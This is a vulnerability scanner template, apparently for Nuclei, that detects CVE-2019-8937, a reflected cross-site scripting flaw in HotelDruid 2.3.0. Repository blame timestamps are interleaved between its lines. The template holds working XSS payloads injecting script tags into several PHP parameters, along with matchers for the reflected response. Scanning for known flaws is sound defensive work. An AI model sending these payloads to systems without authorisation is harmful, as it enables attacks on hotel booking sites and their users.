2021-08-24 00:27:13 +00:00
id : CVE-2019-8937
info :
name : HotelDruid 2.3.0 - XSS
2021-08-24 20:07:17 +00:00
author : LogicalHunter
2021-08-24 00:27:13 +00:00
severity : medium
2021-08-27 07:43:24 +00:00
reference : https://www.exploit-db.com/exploits/46429
2021-08-24 11:22:44 +00:00
tags : cve,cve2019,xss,hoteldruid
2021-09-10 11:26:40 +00:00
classification :
cvss-metrics : CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score : 6.10
cve-id : CVE-2019-8937
cwe-id : CWE-79
description : "HotelDruid 2.3.0 has XSS affecting the nsextt, cambia1, mese_fine, origine, and anno parameters in creaprezzi.php, tabella3.php, personalizza.php, and visualizza_tabelle.php."
2021-08-24 00:27:13 +00:00
requests :
- method : GET
path :
2021-08-24 10:56:03 +00:00
- '{{BaseURL}}/hoteldruid/visualizza_tabelle.php?anno=2019&id_sessione=&tipo_tabella=prenotazioni&subtotale_selezionate=1&num_cambia_pren=1&cerca_id_passati=1&cambia1=3134671%22%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'
2021-08-24 11:22:44 +00:00
# - '{{BaseURL}}/hoteldruid/visualizza_tabelle.php?nsextt=x"><script>alert(document.domain)</script>'
# - '{{BaseURL}}/hoteldruid/visualizza_tabelle.php?anno=2019&id_sessione=&tipo_tabella=periodi&mese_fine=13"><script>alert(document.domain)</script>'
# - '{{BaseURL}}/hoteldruid/personalizza.php?anno=2019&id_sessione=&aggiorna_qualcosa=SI&cambianumerotariffe=1&nuovo_numero_tariffe=8&origine=./creaprezzi.php"><script>alert(document.domain)</script>'
# - '{{BaseURL}}/hoteldruid/tabella3.php?id_sessione=&mese=01&tutti_mesi=1&anno=2019"><script>alert(document.domain)</script>'
# - '{{BaseURL}}/hoteldruid/creaprezzi.php?anno=2019&id_sessione=&ins_rapido_costo=SI&tipocostoagg=perm_min&origine=crearegole.php"><script>alert(document.domain)</script>'
2021-08-24 10:56:03 +00:00
2021-08-24 00:27:13 +00:00
matchers-condition : and
matchers :
- type : word
words :
2021-08-24 10:56:03 +00:00
- '"</script><script>alert(document.domain)</script>'
2021-08-24 00:27:13 +00:00
part : body
- type : word
words :
- "text/html"
2021-08-24 10:31:12 +00:00
part : header